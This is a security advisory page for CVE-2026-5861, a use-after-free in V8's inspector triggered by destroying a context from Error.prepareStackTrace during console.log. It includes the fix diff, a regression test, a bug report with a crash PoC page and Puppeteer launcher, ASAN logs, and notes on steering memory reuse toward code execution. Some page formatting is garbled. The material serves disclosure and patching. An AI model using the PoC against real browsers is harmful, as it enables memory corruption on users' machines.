CVE-2026-5861
Overview
Background
- `InspectedContext`
- an inspector-side object representing one JS execution context (e.g. a frame/iframe), owned in
V8InspectorImpl’sm_contextsmap and destroyed when the context is reported gone. - `V8InspectorImpl::getContext`
- a lookup returning the
InspectedContextfor a(groupId, contextId); pre-patch it returned a rawInspectedContext*borrowed from the owning map. - Reentrancy into user JS
- inspector code paths such as console message formatting and custom preview can call back into user JavaScript, which may destroy the very context being inspected (the PoC destroys it from
Error.prepareStackTraceduringconsole.log). - `std::shared_ptr`
- a reference-counted smart pointer; holding one keeps the pointee alive for the holder’s scope even if the original owner drops it.
Root Cause Analysis
Numerous inspector call sites obtained an InspectedContext* from V8InspectorImpl::getContext(...) (which internally returned contextIt->second.get(), a bare pointer into the owning container) and then dereferenced it — e.g. calling getInjectedScript, addInternalObject, or origin() — across operations that can transition into user JS. The violated invariant is that the borrowed InspectedContext* must outlive its uses, but user JS invoked during those operations (for instance destroying the execution context from inside console.log formatting via Error.prepareStackTrace calling fireContextDestroyed) can free the InspectedContext, leaving the raw pointer dangling. The subsequent dereference is a use-after-free.
The fix changes getContext’s return type to std::shared_ptr<InspectedContext> and converts every caller to hold that shared_ptr on the stack, so a reference is retained for the duration of the potentially-reentrant operation and the object cannot be freed out from under the pointer. The early-return-on-null pattern (if (!inspectedContext) return ...) is preserved, so lookups that legitimately fail still bail safely.
InspectedContext* across operations that reenter user JS capable of destroying that context; the fix makes getContext hand back a std::shared_ptr and pins it on the stack so the context stays alive through the reentrant call.Attack Path
- Register a JS callback that runs during inspector formatting
The PoC sets
Error.prepareStackTraceand logsconsole.log(new Error('trigger')), so user JS runs while the inspector is building the console message for a specific context. - Destroy the inspected context mid-operation
Inside that callback,
inspector.fireContextDestroyed()tears down theInspectedContext, freeing the object that the inspector’s in-flight code path is still referencing. - Dereference the freed context
After the callback returns, the inspector path continues using the previously fetched raw
InspectedContext*(e.g. to fetch the injected script / build the preview), dereferencing freed memory — a use-after-free. - Crash or controlled reuse This yields at minimum a crash; whether the freed slot can be reclaimed with attacker-controlled data for a stronger primitive is (inferred) and not demonstrated by the patch.
Impact Assessment
InspectedContext from within a reentrant JS callback and cause the inspector to use the freed object, a use-after-free in the process hosting V8’s inspector. The advisory classifies this as Use-after-free in V8 and reports no exploited-in-the-wild status; the precondition is an active inspector session evaluating attacker JS that can trigger context destruction during a formatting/preview path. Escalation beyond a crash to a read/write primitive or code execution is (inferred) and not shown by the diff.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/inspector/v8-debugger-agent-impl.cc |
modified |
Files Changed
src/inspector/custom-preview.ccsrc/inspector/injected-script.ccsrc/inspector/v8-console-message.ccsrc/inspector/v8-console.ccsrc/inspector/v8-debugger-agent-impl.ccsrc/inspector/v8-debugger.ccsrc/inspector/v8-heap-profiler-agent-impl.ccsrc/inspector/v8-inspector-impl.cc
Audit Directions
- Raw pointers borrowed from owning containersAudit inspector (and other) code that calls
.get()-style lookups returning bare pointers into a map, especially where the value is held across any callback that can reenter user JS. - Reentrancy across JS-formatting hooksReview paths that format/preview objects or build stack traces (
Error.prepareStackTrace, custom formatters, console previews), since these synchronously run user JS that can destroy inspector-owned objects mid-operation. - Lifetime of context-scoped objectsLook for other
V8InspectorImpl-owned objects (sessions, scripts, injected scripts) fetched as raw pointers and used after operations that may firefireContextDestroyedor similar teardown.
Patch
From ba0258ba96097bc799c61b145164ec343b56d37b Mon Sep 17 00:00:00 2001
From: Simon Zünd <szuend@chromium.org>
Date: Fri, 27 Feb 2026 05:20:14 +0000
Subject: [PATCH] [inspector] Use std::shared_ptr for InspectedContext
Unfortunately at this point we are not able to move `InspectedContext`
to the managed C++ heap due to missing Heap* collections and the lack
of labeling retainer links.
The next best thing we can do for now is use std::shared_ptr for
InspectedContext and keep an instance on the stack every time we can
potentially transition into user JS.
R=bmeurer@chromium.org
Fixed: 486927780
Change-Id: I5e4921521a24cc3cd53ffb6cb5b6b6f9d98490e2
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7613210
Auto-Submit: Simon Zünd <szuend@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105489}
---
diff --git a/src/inspector/custom-preview.cc b/src/inspector/custom-preview.cc
index 7ab5f00..7877348 100644
--- a/src/inspector/custom-preview.cc
+++ b/src/inspector/custom-preview.cc
@@ -59,7 +59,7 @@
v8::Isolate* isolate = v8::Isolate::GetCurrent();
V8InspectorImpl* inspector =
static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(InspectedContext::contextId(context));
if (!inspectedContext) return nullptr;
return inspectedContext->getInjectedScript(sessionId);
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 1260f19..9206038 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -1164,7 +1164,7 @@
v8::Isolate* isolate = v8::Isolate::GetCurrent();
V8InspectorImpl* inspector =
static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(InspectedContext::contextId(context));
InjectedScript* injectedScript =
inspectedContext ? inspectedContext->getInjectedScript(sessionId)
diff --git a/src/inspector/v8-console-message.cc b/src/inspector/v8-console-message.cc
index 128bc6c..567c92a 100644
--- a/src/inspector/v8-console-message.cc
+++ b/src/inspector/v8-console-message.cc
@@ -258,7 +258,7 @@
int contextGroupId = session->contextGroupId();
int contextId = m_contextId;
if (m_arguments.empty() || !contextId) return nullptr;
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
inspector->getContext(contextGroupId, contextId);
if (!inspectedContext) return nullptr;
@@ -423,7 +423,7 @@
bool generatePreview) const {
if (m_arguments.empty() || !m_contextId) return nullptr;
DCHECK_EQ(1u, m_arguments.size());
- InspectedContext* inspectedContext =
+ std::shared_ptr<InspectedContext> inspectedContext =
session->inspector()->getContext(session->contextGroupId(), m_contextId);
if (!inspectedContext) return nullptr;
diff --git a/src/inspector/v8-console.cc b/src/inspector/v8-console.cc
index 3657822..2e46a26 100644
--- a/src/inspector/v8-console.cc
+++ b/src/inspector/v8-console.cc
@@ -59,7 +59,8 @@
int groupId() const { return m_inspector->contextGroupId(contextId()); }
InjectedScript* injectedScript(int sessionId) {
- InspectedContext* context = m_inspector->getContext(groupId(), contextId());
+ std::shared_ptr<InspectedContext> context =
+ m_inspector->getContext(groupId(), contextId());
if (!context) return nullptr;
return context->getInjectedScript(sessionId);
}
diff --git a/src/inspector/v8-debugger-agent-impl.cc b/src/inspector/v8-debugger-agent-impl.cc
index 756560c..2e78b58 100644
--- a/src/inspector/v8-debugger-agent-impl.cc
+++ b/src/inspector/v8-debugger-agent-impl.cc
@@ -898,7 +898,8 @@
{
v8::HandleScope handleScope(m_isolate);
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) {
return Response::ServerError("Cannot retrive script context");
}
@@ -943,7 +944,8 @@
}
V8DebuggerScript* script = it->second.get();
int contextId = script->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected)
return Response::ServerError("Cannot continue to specified location");
v8::HandleScope handleScope(m_isolate);
@@ -1002,7 +1004,8 @@
}
if (!m_blackboxedExecutionContexts.empty()) {
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (inspected && m_blackboxedExecutionContexts.count(
inspected->uniqueId().toString()) > 0) {
return true;
@@ -1074,7 +1077,8 @@
v8::debug::BreakpointId debuggerBreakpointId;
v8::debug::Location location(lineNumber, columnNumber);
int contextId = script->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) return nullptr;
{
@@ -1164,7 +1168,8 @@
return Response::ServerError("No script with given id found");
}
int contextId = it->second->executionContextId();
- InspectedContext* inspected = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspected =
+ m_inspector->getContext(contextId);
if (!inspected) {
return Response::InternalError();
}
@@ -1962,7 +1967,7 @@
int contextId = script->executionContextId();
int contextGroupId = m_inspector->contextGroupId(contextId);
- InspectedContext* inspected =
+ std::shared_ptr<InspectedContext> inspected =
m_inspector->getContext(contextGroupId, contextId);
std::unique_ptr<protocol::DictionaryValue> executionContextAuxData;
if (inspected) {
diff --git a/src/inspector/v8-debugger.cc b/src/inspector/v8-debugger.cc
index 69fb293..a514972 100644
--- a/src/inspector/v8-debugger.cc
+++ b/src/inspector/v8-debugger.cc
@@ -1452,7 +1452,8 @@
v8::Local<v8::Object> object,
V8InternalValueType type) {
int contextId = InspectedContext::contextId(context);
- InspectedContext* inspectedContext = m_inspector->getContext(contextId);
+ std::shared_ptr<InspectedContext> inspectedContext =
+ m_inspector->getContext(contextId);
return inspectedContext ? inspectedContext->addInternalObject(object, type)
: false;
}
diff --git a/src/inspector/v8-heap-profiler-agent-impl.cc b/src/inspector/v8-heap-profiler-agent-impl.cc
index b8563c7..33e8954 100644
--- a/src/inspector/v8-heap-profiler-agent-impl.cc
+++ b/src/inspector/v8-heap-profiler-agent-impl.cc
@@ -57,8 +57,9 @@
: m_offset(0), m_strings(10000), m_session(session) {}
const char* GetName(v8::Local<v8::Context> context) override {
- InspectedContext* inspected_context = m_session->inspector()->getContext(
- m_session->contextGroupId(), InspectedContext::contextId(context));
+ std::shared_ptr<InspectedContext> inspected_context =
+ m_session->inspector()->getContext(
+ m_session->contextGroupId(), InspectedContext::contextId(context));
if (!inspected_context) return nullptr;
String16 name = inspected_context->origin();
size_t length = name.length();
diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index 9dae9ef..b570974 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -237,8 +237,8 @@
}
}
-InspectedContext* V8InspectorImpl::getContext(int groupId,
- int contextId) const {
+std::shared_ptr<InspectedContext> V8InspectorImpl::getContext(
+ int groupId, int contextId) const {
if (!groupId || !contextId) return nullptr;
auto contextGroupIt = m_contexts.find(groupId);
@@ -247,20 +247,21 @@
auto contextIt = contextGroupIt->second->find(contextId);
if (contextIt == contextGroupIt->second->end()) return nullptr;
- return contextIt->second.get();
Regression Test / PoC
diff --git a/test/inspector/regress/regress-crbug-486927780-expected.txt b/test/inspector/regress/regress-crbug-486927780-expected.txt
new file mode 100644
index 0000000..e1a234a
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780-expected.txt
@@ -0,0 +1 @@
+Tests that destroying context from inside of console.log does not crash
diff --git a/test/inspector/regress/regress-crbug-486927780.js b/test/inspector/regress/regress-crbug-486927780.js
new file mode 100644
index 0000000..a156dc2
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const {session, contextGroup, Protocol} = InspectorTest.start(
+ 'Tests that destroying context from inside of console.log does not crash');
+
+const expression = `
+ Error.prepareStackTrace = function(error, trace) {
+ inspector.fireContextDestroyed();
+ return '<mock formatted stack trace>';
+ };
+ console.log(new Error('trigger'));
+`;
+
+(async () => {
+ Protocol.Runtime.enable();
+ contextGroup.createContext('mock-iframe');
+ const {params: {context: {uniqueId}}} =
+ await Protocol.Runtime.onceExecutionContextCreated();
+
+ await Protocol.Runtime.evaluate({expression, uniqueContextId: uniqueId});
+
+ InspectorTest.completeTest();
+})();
Original Bug Report
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Report description
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability
Summary
A use-after-free vulnerability in Chrome’s V8 Inspector allows a malicious webpage to trigger memory corruption in the renderer process. The bug occurs when an iframe is removed during the Error.prepareStackTrace callback, which runs synchronously during console.log() processing, causing a dangling pointer to a freed InjectedScript object.
Vulnerability Details
Bug Type
Use-After-Free (UAF) in V8 Inspector
Affected Component
- File:
v8/src/inspector/injected-script.cc - Function:
v8_inspector::InjectedScript::wrapObjectMirror() - Line: 628
Affected Object
- Class:
v8_inspector::InjectedScript - Size: 232 bytes
- Accessed Offset: 224 bytes (
m_customPreviewEnabledmember)
MiraclePtr Protection Status
NOT PROTECTED - The pointer is a raw C++ pointer, not wrapped in raw_ptr<T>.
The dangling pointer exists in the call chain:
V8ConsoleMessage::wrapArguments()callssession->wrapObject()(v8-console-message.cc:300)V8InspectorSessionImpl::wrapObject()callsfindInjectedScript()which returns a rawInjectedScript*- This raw pointer is used after JavaScript execution that can free the pointed-to object
Root Cause Analysis
The Vulnerability Flow
-
Setup: A malicious page creates an iframe with a script that hooks
Error.prepareStackTrace -
Trigger: The iframe calls
console.log(new Error('trigger')) -
V8ConsoleMessage Creation: Chrome creates a
V8ConsoleMessageobject containing the console arguments -
Stack Trace Formatting: When formatting the Error object for DevTools, V8 calls the custom
Error.prepareStackTracecallback -
Critical Action: Inside the callback, JavaScript removes the iframe (
window.frameElement.remove()) -
Context Destruction: Removing the iframe triggers:
LocalWindowProxy::DisposeContext()MainThreadDebugger::ContextWillBeDestroyed()V8InspectorImpl::discardInspectedContext()InspectedContextdestructor runsInjectedScriptis freed (via unique_ptr inm_injectedScriptsmap)
-
Dangling Pointer Use: Control returns to
wrapArguments()which still holds the rawInjectedScript*pointer and callswrapObjectMirror()on freed memory
Source Code Flow
console.log(new Error())
↓
V8Console::Log()
↓
ConsoleHelper::reportCall()
↓
V8ConsoleMessage::wrapArguments()
↓
session->wrapObject()
↓
findInjectedScript() → returns InjectedScript*
↓
[Error.prepareStackTrace callback runs HERE]
[JavaScript removes iframe]
[InjectedScript FREED]
↓
injectedScript->wrapObject() → UAF!
↓
wrapObjectMirror() reads m_customPreviewEnabled at offset 224
Impact
Security Impact
- Memory Corruption: Read from freed 232-byte heap region
- Renderer Process: The crash occurs in the renderer process
- Potential for Exploitation:
- The freed memory can be reclaimed by same-bucket allocations
- With ASAN quarantine disabled (
quarantine_size_mb=0), different Chrome objects naturally take the freed slot - If
m_customPreviewEnabled(offset 224) reads as non-zero, additional virtual method calls occur on the fake object - With controlled memory reclamation, this could lead to code execution
Memory Reuse Evidence
With ASAN quarantine disabled, we observe heap-buffer-overflow instead of heap-use-after-free, proving memory reuse:
0x113bf94dfc20 is located 344 bytes after 200-byte region
allocated by thread T8 here:
ipcz::Router::Deserialize (200 bytes)
The freed InjectedScript slot is being reused by other allocations. The ipcz::Router (200 bytes, IPC system) lands nearby. The size mismatch causes an out-of-bounds read, but this demonstrates the allocator IS reusing the freed memory.
Exploitation Challenges
- The UAF read happens synchronously in the same call stack as the free
- No JavaScript execution window exists between free and use
- The InjectedScript (232 bytes) bucket may not align with JS-controllable objects
- A separate thread/process would be needed to race the allocation
Attack Prerequisites
- DevTools must be connected (via CDP or
--auto-open-devtools-for-tabs) - Runtime.enable protocol message must be active (automatic when Console is used)
Trigger Variants
The vulnerability can be triggered via multiple iframe techniques:
- srcdoc iframe - Inline HTML in srcdoc attribute (same-origin) ✅ CRASHES
- javascript: URL iframe - Script in iframe src ✅ CRASHES
- blob: URL iframe - Blob URL with HTML content ❌ Cross-origin blocked
- data: URL iframe - Data URL with HTML content ❌ Cross-origin blocked
The key requirement is same-origin access to parent.document so the iframe can remove itself.
Tested Configuration
- Chrome Version: 146.0.7680.0 (ASAN Build)
- Platform: Windows x64
- Build: Official Chromium ASAN build from chromium-browser-asan storage bucket
Proof of Concept
PoC (poc.html)
<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
window.frameElement.remove(); // Free InjectedScript
return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>
Running with Puppeteer (pptr.js)
const puppeteer = require('puppeteer');
const path = require('path');
(async () => {
const browser = await puppeteer.launch({
executablePath: 'path/to/chrome-asan/chrome.exe',
args: ['--no-sandbox'],
headless: false,
env: {
...process.env,
ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
}
});
const page = await browser.newPage();
await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
await new Promise(r => setTimeout(r, 3000));
process.exit(1);
})();
ASAN Crash Report
With Quarantine (heap-use-after-free detected)
==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
#1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
#2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
#3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
...
0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
#0 operator delete
#1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
#2 v8_inspector::InspectedContext::~InspectedContext()
#3 v8_inspector::V8InspectorImpl::discardInspectedContext()
#4 blink::MainThreadDebugger::ContextWillBeDestroyed()
...
With Quarantine Disabled (heap-buffer-overflow = memory reused)
==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
#0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
...
0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
#0 operator new
#1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
...
This shows that when ASAN quarantine is disabled, a 216-byte V8InspectorSessionImpl object took the freed slot, and the code read past it (328 bytes after = 216 + 112, while original access was at offset 224).
Suggested Fix
The fix should ensure the InjectedScript pointer remains valid throughout the wrapArguments() operation. Options:
-
Use safe pointers: Convert the raw
InjectedScript*toraw_ptr<InjectedScript>or similar smart pointer -
Re-validate before use: After any JavaScript callback (like
prepareStackTrace), re-lookup the InjectedScript from the context -
Prevent context destruction during callback: Block iframe removal during console message processing
Example fix in v8-console-message.cc:
// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!
// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe
Files Attached
poc.html- Clean PoC filepptr.js- Puppeteer automation scriptcrash.txt- ASAN crash log (with quarantine)crash_quarantine0.txt- ASAN crash log (quarantine disabled, shows memory reuse)
Timeline
- Tested Version: Chromium 146.0.7680.0
Impact analysis
.
The cause
What version of Chrome have you found the security issue in?
I’ve been able to reproduce the crash on versions 72-93, 109-146.
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
How would you like to be publicly acknowledged for your report?
5shain